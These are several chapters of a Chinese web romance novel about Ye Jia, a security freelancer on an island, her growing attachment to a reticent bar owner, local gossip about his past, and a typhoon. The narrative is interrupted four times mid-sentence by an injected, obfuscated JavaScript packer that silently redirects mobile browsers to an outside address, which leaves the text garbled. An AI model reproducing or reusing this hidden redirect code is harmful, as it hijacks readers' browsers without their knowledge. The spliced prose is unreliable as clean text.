看顾岸舟去后面拿东西，楚念忙问叶嘉：“你是怎么知道隐藏菜单的？” “我去主岛办业务遇到他了，就聊了几句。”叶嘉说得很坦然，甚至显得有点在刻意地让语气平静。 但楚念还是下巴一收眼睛一眯，一句话没说但叶嘉感觉她说了很多。 看叶嘉一脸“你又来了”的表情，楚念横她一眼：“干嘛啦，这种事情就是很让人激动啊，你，一个受了情伤的女人，他，一个神秘的帅哥，这里，一个不属于你们任何一个人的海岛，很适合发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333711|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点什么好吗！” 顾岸舟走了出来，吧台下叶嘉的膝盖猛地撞了楚念的一下。 “嗷！”楚念大叫出声，别说顾岸舟了，整个酒吧的人都看了过来。 顾岸舟用眼神询问叶嘉：怎么了？ 叶嘉摇了摇头。 又被楚念看在了眼里，好啊你们，都眉来眼去的了，还否认。 不一会，顾岸舟调好了酒，放在了吧台上。 “你要试一口吗？”叶嘉问楚念。 “好哇，我连木姜子是什么味都不知道，从来没尝过。”楚念端起杯子闻了闻，感觉有点不妙，喝了一小口之后，立刻露出挨了一拳的表情。 叶嘉忍不住想笑，觉得是木姜子之神帮她制裁了楚念。 楚念都想把舌头丢了，这味怪得她都形容不出来，只感觉怪，还有点辣，其它什么味都没了，嘴里全是那个味。 叶嘉也喝了一口，一脸惊喜地看向顾岸舟：“好喝！”她挺意外的，虽然木姜子可以泡酒但她没喝过，都是用来做凉拌菜吃，没想到放酒里也这么好喝。 顾岸舟点了下头，就继续忙手里的活了。 叶嘉等了好久才找到机会问他：“你怎么想到用木姜子调酒的？这个配方是哪里来的？” “我自己想的。”顾岸舟说，“以前我在那边工作过，很喜欢这个味道，觉得放酒里也会合适。” 叶嘉惊了：“你在我老家那边工作过？” “是。”说完顾岸舟就又低头忙去，没有再给她继续问下去的机会，他已经说得太多了。 - 叶嘉解了想念家乡菜的馋，便专注在了工作上。 接连好几天除了晨跑顺便买菜外，都没有出门。 她忙着建立自己的个人网站，在各种技术社交平台发信息引流，很快接到了活，又忙着给人修复漏洞，做安全策略。 教课的兼职已经停了，但最初找上门的那个有钱学生，还坚持要上课，叶嘉就还在给他上。 叶嘉倒是也挺喜欢给他上课的，他给的课时费很多，而且问题也都很有意思，不单是书上的内容。 在网上买的《追逐阳光之岛》到了，不过没时间看，先放在了一边。 还有买的家乡的各种包括但不仅限于木姜子的调料也到了，叶嘉自己做了菜，香得不行。 楚念为了吃她做的饭，甚至都提前了一个小时起床，赶上中午十二点。 “太香了！” 楚念还是没办法接受木姜子，一想到那天的味道都犯恶心，碰都不想碰一下，闻到都难受，每次都推得远远的。 可其它菜，什么糟辣椒炒腊肉，酸菜豆米汤，连吃一周都吃不腻。 一起吃了几天，叶嘉开始推销：“你再试试看，说不定能接受了，而且拌菜没有调酒里面味道那么重的，真的很好吃！” “不要。” “你都不试一下怎么知道？” “不要。” “……” 楚念抱着自己的碗：“你干嘛强迫我啊？你有一个同好，找顾老板一起吃就好了啊。说起来，上次那杯酒也是他请的，你这做了饭，不请回去？” 叶嘉愣了愣，请顾岸舟吃她做的菜？ 11. 叛变 叶嘉决定把请顾岸舟吃饭，当成一个正经事办。 但问题是，要怎么才显得自然点。 而且，在哪里吃？总不能把顾岸舟叫到她家里来吃。 顾岸舟也没这个时间，他中午还在睡觉，下午又要工作了。 等等，这么看来，他是怎么吃饭的？已知他下午两点左右会去海鲜店吃饭，晚上六点就开店也吃不了饭，只看他偶尔吃点小食的样子。 打烊后他又去锻炼，那么，是跑完步回去吃吗？ 好了好了打住，叶嘉都不知道自己好奇这些乱七八糟的干什么。 她准备明天多做一点，放保鲜盒里，去酒吧的时候带给顾岸舟就行了。 隔天早上，叶嘉准时早起，出去跑步。 一边跑一边看了日出，今天也是很有希望的一天。 叶嘉在市场遇到了春姐。 春姐看她手里提着很多菜，一如往常那样亲切地打招呼：“怎么买这么多呀小叶？” “哦，我今天要做三人份……或者四人份？”叶嘉不确定，看顾岸舟那一身肌肉，感觉他食量应该不小，多做点比较保险。 “为什么？”春姐好奇，“你有朋友来岛上玩啦？” 叶嘉摇摇头：“我想做给顾老板吃的，他上次请我喝了用我们老家那边的调料做的酒，想请回去。春姐吃过木姜子吗？要不要我也带点给姐尝尝？” 春姐没回答她的问题，而是像上次从她口中听到“顾老板”一样，脸色一瞬间变得糟糕了些。 “小叶。”严肃的语气，没了平时的亲切，春姐看着她，“我是不是让你别跟小顾走得太近了？” “是。”正好，叶嘉一直想问，但那之后都在自己做饭没去春姐店里，现在有机会，就问道，“为什么呢？” 春姐闻言深吸一口气，往两边来往买菜的海岛居民身上看了看，拉着叶嘉朝着海边走去。 来到没人的海滩上，只有海风听得见她们在说什么。 “小叶，你没想过，小顾在开酒吧之前，是做什么的吗？” 叶嘉当然想过，但想不出来。 “他来我们岛上，一年的时间，说短也短，说长也够长了。你看你来了一个多月，我就知道你不少事了，但关于他，我还什么都不知道呢。” 搞半天春姐也不知道啊。 看她那么紧张兮兮的，叶嘉还以为她真的知道顾岸舟什么不可告人的秘密。 叶嘉点了点头，问道：“所以呢？” 春姐看她不知道事情的严重性，清了下嗓子说：“他刚来的时候，是板寸。”她顿了顿，继续说：“你觉得什么人才会留板寸？” 叶嘉沉默了。 春姐带着引导性的话和语气，让人很难不忘某个糟糕的方向想。 “而且他的气质那么特殊，一看就不是普通人，你不会没看出来吧？” 叶嘉问：“那春姐，你为什么还推荐我去他店里喝酒？” “因为他帅啊！”春姐拍大腿，“我只是让你去喝好喝的酒，看帅哥的，没让你跟他走那么近啊！” “你还说他很细心，主动帮你换了菜单。” “那是事实啊！”春姐都着急了，“跟你说，这一年他在我们岛上，不仅帮我弄了新菜单，还帮派出所修过大门，给流浪猫绝过育，我相信他改过自新了。” 叶嘉诧异：“他还会给猫绝育？” 春姐无语了一瞬：“带去医院做的，他给的钱……这是重点吗？重点是，就算他做了这些好事，就算他改过自新了，你一个好好的姑娘，也不能跟有那种过去的人扯上太深的关系，你明白吗？” 叶嘉缓了缓，消化了一下春姐的话。 她想起那天遇到的那个中年男人，如果她想的没错，他真的是警察，还是局长级别的警察，那么会那么照顾顾岸舟吗？ 叶嘉点了点头：“我明白。” “你明白就好，我知道你是很聪明的。”春姐松了口气，接着抬手轻轻搭在叶嘉的手上，“小叶你想找男朋友的话，可以看看我侄子，他是公务员，法警，在省法院，正好是单身！” “什么？”叶嘉有点慌张地抽出手来摆了摆，“我不是想找男朋友。” “不想找男朋友？” “对，我也说了，我只是还顾老板人情。” 春姐脸一皱：“这男女感情不就是这一次一次人情积攒起来的？你不早点跟他断干净，就保持去店里喝酒的关系，迟早有天陷进去出不来。” 叶嘉心口紧了下，好像还真有点被春姐说中了，她最近不就过分关注他了吗？ “就算跟过去无关，我也觉得他那样冷淡的人，不适合恋爱，跟他谈恋爱，付出更多的肯定是你。” 叶嘉挤出一个有点苦涩的笑：“我没想跟他恋爱，春姐，真的。” 春姐似乎没相信她的话，摇了两下头，但没再说什么：“好了，走吧。对啦，你说的那什么木姜子，我没吃过呢，也做给姐尝尝吧，看看我们小叶的家乡菜是什么味道！” 春姐的语气又变得轻快起来，叶嘉点点头：“一定！” 她们上了海岸，准备道别，却都看见了一个不该出现的身影正从远处跑过来。 正是她们刚才谈话的主人公。 他不是很晚闭店，睡到下午才起床的吗？ “呀小顾！”春姐热情地跟人打招呼，“怎么这么早？” 顾岸舟上身是足球衣，但不是哪家俱乐部，看上去是什么民间组织自己做的，却又没写团体的名字，蓝白色看起来很清爽，下半身是条到膝盖的宽松速干裤，一身都表明他是专门出来运动的。 “嗯，晚上喝了酒之后跑起来很累，在改作息。” 春姐“哎哟”一声：“你酒吧十二点多才关门，收拾收拾睡下都该一点了吧，这又这么早起，这才累吧？” 一旁的叶嘉也有点疑惑，上次晚上碰见他，他不是说喝了酒跑步没问题吗？哦，不对，他当时并没有亲口承认，只是给她看了手表而已。 所以他心率虽然正常，但其实很累？ 此刻顾岸舟只说了句：“还好。” 接着就看向同样穿着运动装的叶嘉问：“你也来跑步？” “嗯，我一直早上跑。”叶嘉提起手里的菜，“我已经跑完了，菜都买好了。” “买这么多？” “对，我……”叶嘉想说“也准备了你的份”，却顿了一下。 她看了春姐一眼，感觉春姐的眼神里写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333712|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了“你还是不懂！” 顾岸舟问：“什么？” “想多做一点，做我的家乡菜，分给你和春姐。”叶嘉开了口，再次表明只是分享一点菜，感谢而已。 而且春姐说的也不过是她的猜测，实情到底如何，还谁都不知道。 “我？”顾岸舟难得有不一样的表情，有些惊讶。 “对啊。”叶嘉说，“你快跑吧，心率都该降下来了。” “好。”顾岸舟朝着刚才的方向继续跑，抬起手腕看了一眼，心率非但没有下来，还升高了点。 这是顾岸舟连续晨跑的第三天，一天比一天早。 原来叶嘉起得那么早。 那明天他可以再早一点。 - 中午楚念照例到叶嘉家里蹭饭，一进门就给叶嘉行了个大礼，被地毯绊了一脚摔在了地上。 叶嘉忙过来扶起她：“没摔坏吧？” “没有，好着呢。”楚念晃着进了房间，“就是有点晕而已。” “也没摔到头啊。” “我是太困了，昨天看漫画看到五点才睡，你说这些人画那么好干什么不要命了！”楚念把自己甩到沙发上，看样子想边吃边睡。 叶嘉佩服：“你也太可怕了。顺便一提，你的晚睡晚起盟友叛变了。” “嗯？”楚念有点懵，“谁？” “顾老板。” “啊？酒吧老板还能叛变？” “是啊，我早上出去碰到他了，在晨跑。” 楚念简直傻眼，清醒了几分，同时也更茫然了几分：“……怎么做到的。” 叶嘉也很好奇顾岸舟怎么做到的，她早起是在早睡的基础上，顾岸舟的工作性质可不允许他早睡啊，就睡那么点真的没问题吗？ 楚念望着天花板叹气：“突然感觉你俩挺神的，一个每天晨跑的人突然有天半夜十二点去跑步，一个开酒吧的人突然早上起来跑步，就非得折磨自己呗。” 被她这么一说，叶嘉还真感觉有点怪。 叶嘉没多想，劝她：“你这么长期熬夜，又不运动才是折磨自己吧。” “啊啊啊——”楚念捂住耳朵。 “听听你喉咙都是干哑的。” “啊啊啊——咳咳！” 叶嘉把要带给两人的份盛好，装在保鲜盒里，计划好下午四点出门，避开两人开店的高峰期，也留了点时间可以聊聊。 春姐同样不太吃得来木姜子，倒是春姐夫能吃爱吃，还夸叶嘉做的菜好吃，有专业水准。 叶嘉很高兴，谦虚道：“我也就会做这几个菜。” “能有一个拿手菜就能当大厨啦！”春姐夫给她竖大拇指，“你这还有好几个呢！” 叶嘉提着另一个袋子，去雾海灯塔的路上，心情都好得不得了，但一到门口，就有点忐忑。 她长了教训，进去前先在门口敲了好几下的门，才小心翼翼推门进去。 还好顾岸舟穿戴整齐地在吧台后面备料。 里面没有营业后酒吧里那种混合了人味、香水味、酒精味的复杂气味，只有和上次一样单纯的柑橘清香。 叶嘉走到吧台前，把袋子递过去：“我刚给春姐送了过来，这是给你的。” 12. 围裙 顾岸舟说着“谢谢”接了过来，正准备邀她坐下，请她喝一杯，就看她已经坐了下来。 “不介意我在你开店前先喝一杯吧？”叶嘉问。 “当然。你想喝什么？” “木姜子调酒吧，你可以一次做两杯，你也可以配着菜喝。” 顾岸舟觉得这个提议不错，把她给的菜拿去加热了一下，开始调酒。 叶嘉想着早上春姐对她的警告一般的话，看着顾岸舟，试图从他的现在看到他的过去，可这怎么能做到呢。 她要是会看人，就不会等到韩岚川用和全场其他人一样的眼神看着她，似乎在期待她坐人腿上时，才发现他是个什么人。 但神奇的是，叶嘉现在这样看着他，一点也感觉不到最初那种害怕了。 不过当顾岸舟看过来的时候，叶嘉还是迅速挪开了视线。 她看向别处，却找了个话题：“你养猫了吗？” “没有。” “是吗？我看到你那天在屋顶上抱着一团什么白的，不是猫吗？” 顾岸舟停下手里的动作，看着她：“你看到我在屋顶？” “呃……对，我在船上看到的，偶然，不是故意看的，我视力太好，刚好又是我认识的人在那，就多看了两眼，不是有意要侵犯你隐私。” 解释得有点多。 顾岸舟轻笑了声：“那你视力太好了。是，那是只猫，但不是我养的，是附近的流浪猫，只是经常来我楼上院子里玩，还有好几只别的。” “你给它们做绝育了吗？” “我不会做，带去医院给它们做了。” 叶嘉一愣，面对这个问题他居然跟自己反应一样。 顾岸舟继续说：“但有几只很不配合，抓不到，还把我手抓破了。” 叶嘉连忙去看他的手，愈合得很好，肉眼看不出一丝痕迹，看来他不是疤痕体质，那他身上那道又长又深的疤，得是多严重的伤导致的？ “不深，我躲得快。”顾岸舟追随到她的视线，补充了一句。 叶嘉点点头：“经常运动的人身体反应都很快，而且你跑步真的很专业，是受过什么训练吗？” 她很自然地把话题切换到这上面，是的，不管春姐怎么说，她还是好奇。 顾岸舟：“嗯。” “嗯”？ 这是什么回答。首先是肯定了她的猜测，是的他是受过训练，然后呢？ 他刚才回答别的问题都很正常，还补充了她没问的信息，那现在这个反应就很怪了。 顾岸舟已经做好了两杯酒，将其中一杯递给了叶嘉。 他转身去拿加热好的菜，香气已经取代了柑橘气味，充盈了整个空间。 叶嘉说：“糟了，味道有点重，等会客人来了会觉得很怪吧。” “没事，吃完我把换气打开，很快就没味道了。” 这个时候回应起来又正常了，好像刚才那个关于训练的话题根本没有存在过一样。 叶嘉也没有再问了，不管什么情况，可以知道的是顾岸舟不想提。 “怎么样？好吃吗？”叶嘉期待地看着他。 看到顾岸舟吃了一口后，不自觉一般点了下头，叶嘉觉得他应该是很满意的。 果然，顾岸舟也说了好吃。 叶嘉挺开心：“刚才春姐夫尝了之后，说我是专业水准。” 顾岸舟一口接一口，酸香咸辣，带着特殊的风味，很好吃，叶嘉还贴心带了米饭来，很快他就吃完了。 叶嘉看了一眼，心想果然是不够。 吃完顾岸舟把保鲜盒洗干净，还给了她，一边说：“谢谢你，很正宗，跟我在黔州吃到的一样。” “那当然了，我特意买的调料，等了好久才到。” “很怀念。” 顾岸舟是刻意加上的这么一句。 刚才叶嘉不知有意还是无意，打探起他的事情来，顾岸舟下意识将这个话题终止，封锁起来。 而从她刚才的反应看来，她似乎有点失望。 顾岸舟吃着她做的菜，一边想，如果她好奇，他是愿意告诉她的。 可他说完这句“很怀念”之后，叶嘉却没有把话题拐回去，问类似“为什么怀念？所以你之前在黔州做什么？”之类的问题。 那看来也许她对他并没有多么好奇。 叶嘉送饭的任务完成了，打听他的过去的任务被她放到了一边，她没什么要做的了，但也没做，小口小口啜饮着，鼻间感受到饭菜的气味被抽走，空间再次被柑橘的香气充满。 顾岸舟备完料，衣服有些脏了，他去储物间换了下衣服。 叶嘉有点尴尬，原来上次她就是刚好卡在这个时机进来了。 看他出来，叶嘉问：“我看你后面就挂着围裙，但怎么不穿？” “不习惯。” “那干嘛买？” “开店准备的时候，这些都打包一起买的，以为能用上。” 叶嘉点了点头，表情透出一丝她自己都没察觉到的遗憾。她脑中闪过一个楚念给自己看过的画面，突然有了个想法，他穿围裙，应该还挺那个的。 这段时间跟楚念待一起，她有时候看漫画看上头了，看到了什么精彩的画面，就会拿给她看，要她一起鉴赏。 其中有张她看了印象特别深刻，就是一个肌肉男穿着粉白色围裙的样子，还是光着的。 虽然不可能看到顾岸舟光着穿围裙，但就那样套在他的T恤外面，效果应该也会很不错。 可惜他的围裙是藏蓝色的，颜色上反差感带来的冲击应该不大，但他身材不输给漫画里那个肌肉男。 她的遗憾被顾岸舟捕捉到。 不知道她在遗憾什么，是不是觉得围裙买了不用，浪费了其价值？ 但顾岸舟还是说：“晚上我再穿上试试。” “啊？”叶嘉懵了，不过下一秒就反应过来，点点头说，“好啊！” 她声音又开始放大，激动起来了。 紧接着她想起来不对，她晚上要给学生上课的。 叶嘉看着顾岸舟，她话都说出去了，总不能让他别穿，等她明晚来的时候再穿吧。 可她也不能跟学生说不上了，而且她拿着个非智能手机，也没法跟人说。 只能让其他人先一饱眼福了。 顾岸舟最后把桌上的板凳全部放下来，准备营业后，就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333713|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶嘉起身说要走了。 这么快？ “慢走。”顾岸舟只是说。 他回到吧台后面，放起音乐，站在围裙前面犹豫了一会，想着反正穿了她也看不见，还是算了。 今天也是很忙的一天，客人一直不断。 闭店后，顾岸舟上楼洗完澡，定好闹钟，躺下后就迅速入睡了，并且一整夜都没有醒过一次。 晨跑时，顾岸舟遇到了叶嘉。 刚好是太阳正在一点一点出来的时候。 叶嘉的速度放得很慢，几乎都到12分钟一公里的配速，就为了享受这一刻新生般的希望。 “早上好。”顾岸舟跑到她身边说。 叶嘉转头一看，有些惊讶：“早上好。” 他们没再说什么，一起看完了日出，顾岸舟便以他平常的速度跑走了。 叶嘉回家后，投入进工作里，中午楚念来她家里蹭饭吃。 “昨晚顾老板怎么样？”叶嘉边吃，边问楚念。 “怎么样？什么怎么样？就还是很帅啊。” “是吗？没有什么特别的吗？” “特别的帅啊。” “……” 楚念倒是好奇：“你想问什么？有什么特别的？你发现了什么帅哥的秘密？他也没换发型，衣服也穿得跟平时一样啊。” 叶嘉觉得如果顾岸舟穿了围裙，楚念反应肯定会很大，那就是说，他没穿，为什么？ “你说啊！勾起我兴趣又不说话了！在想什么！”楚念疯狂地摇叶嘉的肩膀，都快把她头给甩掉了。 “没什么！”叶嘉用音量压制了楚念，“今晚我没课，一起去。” “哼。” 但当然是要一起去的。 楚念还建议叶嘉坐她小电驴后面，她已经很熟练了，可以带人了。 叶嘉有点怕，好在楚念有两个头盔，那就坐吧，反正就算摔了也不会有事。 一路是晃得不行，楚念一个人骑是熟练了，带一个人就更需要掌握平衡，显然她还没完全掌握。 “但还好，我们没死耶！”楚念高兴地庆祝，还往叶嘉身上挂。 叶嘉一时不习惯这么亲密的接触，大喊着“好了好了！”，推开她让她离远点。 她上一次跟人这么亲近，都是小学跟一个同学姐姐了，上了初中之后就没这么亲近的友谊。 两人走进去时，刚好看到顾岸舟在吧台后面系围裙。 楚念一看，眼珠子都快瞪出来了。她第一次来的时候就在想，后面那围裙他啥时候穿啊，这调酒也不穿做料理也不穿，摆在那是几个意思，就纯吊着她们这些大馋丫头呗？ 不过很成功，确实是被勾引到了。 但今天，他居然穿上了！ 不太熟练的样子，看得人着急，都想帮他系了。 楚念拉着叶嘉赶忙坐到吧台的位置。 围裙冲淡了顾岸舟的冷感和凶感，楚念感觉今天应该会有其他人来坐吧台了，绝对是抢手位置。 叶嘉到坐下，看到顾岸舟穿好了，都还有点懵。 他昨晚没穿，今天怎么穿了，而且也不是一直穿着，像是听到她们声音才开始穿的。 13. 台风 顾岸舟对两人说了声“欢迎光临”，却没有看她们，视线只是落在了叶嘉面前那块吧台。 听她们点了酒，顾岸舟调酒前，双手又往后，整理了一下身后被他慌乱之中系得有点紧的带子，稍微整理宽松了一点。 楚念见状，凑到叶嘉边上咬耳朵：“看他这个紧绷的胸肌！OMG！” “你小声点！” 其实楚念声音不大，再激动，那也只是气声，能有多大呢，还有音乐帮忙打掩护。 但这个内容过于赤裸裸，叶嘉好担心会被听见，然后被顾老板轰出去。 楚念感觉灵感又被激发出来了，回去就要好好创作一番，不然对不起老板撒的这么大的福利。 “等等。”楚念眼睛一眯发现事情不对，又凑到叶嘉耳边，“所以你问我他有什么特别的，是这个吗？嘉嘉你小子不对劲啊，你怎么能预知未来？” “不是……”叶嘉无奈，“你别瞎想。” 叶嘉被楚念盯得很紧，都不敢多看顾岸舟两眼，生怕楚念用她那可怕的联想能力，得出什么不得了的结论来。 但她很难控制视线不往那边瞄。 果然跟想象中的一样，哦不，是比想象中的更到位。 围裙一系上，显得他肩更宽了，恰好腰身那儿又收进去些，这画面都能跟那漫画里重合上了。 刚好，她还看过他没穿上衣的样子。 酒在叶嘉脑内画面最糟糕时，递到了她面前来。 叶嘉看着顾岸舟骨节分明的手指，莫名抖了一下。 “今晚没有事？” 他没放下就走，还搭了话。 叶嘉抬头看着他望着自己的脸，没敢细看，视线往下扫去，看到围裙下很是饱满的凸起，感觉更糟糕了。 她点头：“没事。” “那帮忙试几杯酒？”顾岸舟问。 “好啊。” “我也可以！”一旁楚念积极道。 顾岸舟对着她说了声“好”，便开始调酒。 很明显的温度差，楚念看着两人，有问题，大大滴问题。 楚念的判断是对的，今晚吧台果然坐满了，都来近距离观察看起来多了一丝人夫感的顾岸舟。 但他冷淡的表情还是让人不敢搭话，再加上也一直在忙，忙着调酒让叶嘉试。 “我感觉这杯太甜了，酸感重一点我会更喜欢。”叶嘉尝完认真给出评价，但无非是从个人角度出发，要怎么改还是看他的想法。 同样一杯酒，楚念就觉得：“还好吧，不甜啊。” 顾岸舟调整了配方又做了一杯给叶嘉，看到她给出了满意的评价，便在笔记本上记录下来。 完了。楚念在心里暗道，照这样下去，以后店里的酒怕不是都只符合叶嘉的口味。 她们从七点来，一直待到了九点半，尝了好多种不同口味的酒。 她们走后，顾岸舟又把叶嘉觉得好喝的配方都整理在一起，想着这些元素能组合出什么新的风味。 越来越晚，其他客人们也都陆陆续续离开了。 顾岸舟做好了闭店的准备，但门口又来了几个人，他站在吧台后面致歉：“不好意思，今晚打烊了。” 几个女生很遗憾地走了，走的时候还在一边看他一边窃窃私语。 顾岸舟不知道她们是不是在骂他。 以往别说才十一点多，就是十二点过了才来的客人，他也接待的。 他甚至很喜欢这样来很晚的客人，因为这也就意味着他可以再多消耗一点精力，结束后回去才可以睡得稍微好一点。 但实在抱歉了，他现在只想早一点关店，回去睡觉，以保证明早能起床。 顾岸舟做完了店内的清洁，才发现自己还一直穿着围裙。 他已经忘了围裙的存在，没有再感觉呼吸不过来了。 这算是……克服了吗？ 临近十二点，顾岸舟关上一楼的所有灯，上了楼。 白钰哼着歌把钥匙一拔，从车上下来，但往酒吧的方向一看，就哼不出来了。 不好，怎么黑漆漆的，关门了？ 白钰赶忙跑过去，还敲了两下门，但里面没有任何回应。 这么早就关门了？前两天还不这样呢。 白钰站远了点，看向楼上，看到了点微弱的灯光，还好确认了舟哥还在，不是搬走了，只是可能今天客人不多，就提前关门了。 真是的，都不等等他这个固定客人。 舟哥不会故意躲着他，就为了不卖酒给他吧？ 白钰往回走，风有点大，把他的衣服都吹得鼓了起来。天气预报不是说台风还要过两天吗，怎么现在就感觉不对劲了。 第二天一早被闹钟叫醒，顾岸舟看到外面在下雨。 不知道叶嘉下雨了还跑不跑步。 但顾岸舟出了门。 是没有日出的一天，叶嘉在阳台上新奇地看了会大雨下的海景，就回房间了。 还好前两天买的菜多，今天不需要买菜也能过。 叶嘉没了智能手机，都没收到关于天气的推送。 等到她突然听到外面的风疯狂地呼啸起来，感觉不对劲，一查才发现是台风要来了。 山里孩子从来没有经历过台风，之前在北城也没有过，但一直听说很可怕，不知道会不会出什么事。 叶嘉联系房东问需不需要她做点什么，房东表示不用，今年这个程度，把窗户关好就是了。 她便稍微安下心来，但外面的风声越来越大，吹得窗户哐哐作响。 第一次经历，挺吓人的。 等待上传数据集的功夫，叶嘉站在窗边，看着外面激荡起来的海浪，还有黑得像是不会再亮起来了的天空，有种世界末日要来了的感觉。 不时，雨和风都停了下来。 仿佛刚才的一切都没有发生过，却宁静得有点可怕。 这个时候叶嘉的门被邦邦敲响了。 门口是一身狼狈的楚念，头发和衣服都湿了大半，抱着她的电脑平板什么的：“救救我！” 叶嘉赶紧让她进来：“怎么回事？你不该在睡觉吗？” “我倒是想睡，但我卧室的窗户被吹烂了，风和雨都灌进来了！”楚念要气死了，“这个狗房东，我当只有车有问题，现在房子也有问题！” 叶嘉这边倒是还好。 但台风只暂停了一会，就又更加狂暴地舞动起来，把窗户吹得更响了。 楚念已经有心理阴影了，完全不敢靠近，也拉过叶嘉躲得远远的。 “呜呜我都想回家了。”楚念都要崩溃了，她家那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333714|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边也有台风，但一是没这么严重，二是家里都建设得很牢固不会发生窗户被吹烂的情况。 叶嘉拿了干毛巾给她擦身上的水，拍着她的背安慰她：“没事的，我房东说不会很严重。” 安慰了一会，好像作用也不大，楚念被吓坏了，一副自闭了的样子抱着平板开始画画。 叶嘉也想起她的工作，一看电脑，才发现她的数据上传到不知道多少的时候，网络突然断开了。她重新连接好，想再次上传，信号却很弱。 看样子是台风导致了什么问题。 叶嘉试了一下楚念手机的热点，倒是成功上传完了，但她查了一下网络也有些不稳定。 “这边网本来就一般，我问过小白，他说岛上差不多都这样，就那几个营业场所的好一点。”楚念语气里慢慢都是怨念。 之前网络虽然慢，但也还好，忍忍也就过去了，她看漫画是很卡，但提前下载下来就行了。 可现在窗户一坏，她心情也跟着烦透了，是看什么都不顺眼。 “我下午要实时跟客户那边做测试，这个网络状况肯定不行。”叶嘉有点担忧，“不知道下午能不能恢复。” “下午风能停都算好的了！” “好了好了，你别激动，没事的。”叶嘉放下电脑，继续安慰她，“等台风过了你跟房东沟通一下，不行的话就退租，换个别的地方住。” 楚念哭了：“可是我不想离开你啊，我能跟你一起合住吗？” “额……” 叶嘉一想到楚念家里那副乱糟糟的地狱绘图，不太愿意让自己干净整洁的家变成她家那样呢。 楚念更崩溃了：“你还不要我！” 叶嘉用一顿好吃的哄好了楚念。 还好没停水停电，不影响基础生活。 外面的狂风骤然停止了，只剩下大雨滂沱，不知道这是否是又一次的短暂平静。 她们耐心等了一会，没有等到狂风再降临，大雨也转成了中雨。 楚念该回去收拾家里残局了，但她不想去，一想就感觉生活都到头了。 网络状况还没有恢复，叶嘉也没办法跟那边取消，那边很着急，而且她也不知道什么时候才能恢复。 叶嘉给运营商打了客服电话，倒是接通了，但那边只是告诉她“因天气原因，部分地区网络中断，正在抢修。” 具体要抢修到什么时候，也没有给出一个答案。 接着叶嘉想到了顾岸舟的酒吧，他那里就是营业场所，也许有更稳定的网络线路。 “你知道顾老板的电话吗？”叶嘉问。 楚念指着自己：“你问我？你都不知道我怎么知道。但我能联系小白，他说不定知道，你是不知道他一口一个舟哥的，叫得多亲。” 但楚念给白钰发了消息后，那边回她：[我也不知道啊姐！你有什么事吗？] 楚念说了下情况，白钰就说他可以下楼去帮忙问问。 “小白真好。”楚念开心了点，“看他对我的事情多上心啊，还愿意冒着雨去帮忙，可惜我吃不到他……” “停停停。”叶嘉害怕。 很快那边回复了：[舟哥说他店里网络还可以，但不知道能不能达到你们要的标准，可以过去试一下。] 叶嘉抱着电脑就出发了。